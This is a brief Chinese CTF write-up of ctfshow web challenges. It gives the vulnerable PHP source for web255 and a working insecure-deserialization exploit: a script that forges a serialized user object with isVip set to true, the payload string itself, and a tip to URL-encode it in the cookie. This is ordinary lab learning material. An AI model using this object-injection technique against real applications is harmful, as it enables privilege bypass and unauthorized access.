刷题随笔
web254
题目
直接传参,没啥好说的
web255
题目
<?php error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
构造反序列化
<?php
class ctfShowUser{
public $isVip;
public function __construct(){
$this->isVip=true;
}
}
$a=new ctfShowUser();
echo serialize($a);
得到序列串O:11:"ctfShowUser":1:{s:5:"isVip";b:1;}
通过设置cookie传递后并没有发现flag
于是在本地试一下传参¥$_Cookie变量会变成什么
猜测应该是Cookie的user参数中的分号导致后面的序列串被分隔
通过URL编码即可